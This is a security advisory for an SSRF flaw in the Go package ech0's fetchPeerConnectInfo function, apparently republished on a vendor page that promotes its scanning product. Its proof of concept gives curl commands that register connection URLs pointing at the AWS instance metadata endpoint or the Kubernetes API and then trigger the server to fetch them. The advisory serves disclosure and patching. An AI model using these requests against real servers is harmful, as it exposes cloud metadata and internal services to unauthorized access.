GHSA-8mc6-xjpr-h98x
HIGHEch0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo
Blast Radius
github.com/lin-snow/ech0Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The fetchPeerConnectInfo function in internal/service/connect/connect.go:214-239 uses httpUtil.SendRequest (no SSRF protection) instead of SendSafeRequest (which has ValidatePublicHTTPURL with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.
Details
In internal/service/connect/connect.go, the fetchPeerConnectInfo function:
func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {
url := httpUtil.TrimURL(peerConnectURL) + "/api/connect"
resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout)
This uses SendRequest which has NO URL validation. The codebase HAS SendSafeRequest at internal/util/http/http.go:228-281 with proper SSRF protection, but fetchPeerConnectInfo does not use it.
Called from:
- Line 307:
data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout) -
- Line 498:
data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)
- Line 498:
PoC
# 1. Add a connection pointing to AWS metadata service
curl -X POST "https://ech0.example.com/api/connects" \
-H "Authorization: Bearer <token>" \
-d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}'
# 2. Trigger SSRF via health check
curl -H "Authorization: Bearer <token>" \
"https://ech0.example.com/api/connects/health"
# Returns AWS EC2 instance ID
Or for Kubernetes:
curl -X POST "https://ech0.example.com/api/connects" \
-H "Authorization: Bearer <token>" \
-d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}'
Impact
- Confidentiality: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API
-
- CWE-918: Server-Side Request Forgery
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lin-snow/ech0 | all versions | 1.4.8-0.20260503040602-091d26d2d942 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/lin-snow/ech0 to 1.4.8-0.20260503040602-091d26d2d942 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8mc6-xjpr-h98x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8mc6-xjpr-h98x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8mc6-xjpr-h98x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8mc6-xjpr-h98x in your dependencies?
O3 detects GHSA-8mc6-xjpr-h98x across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.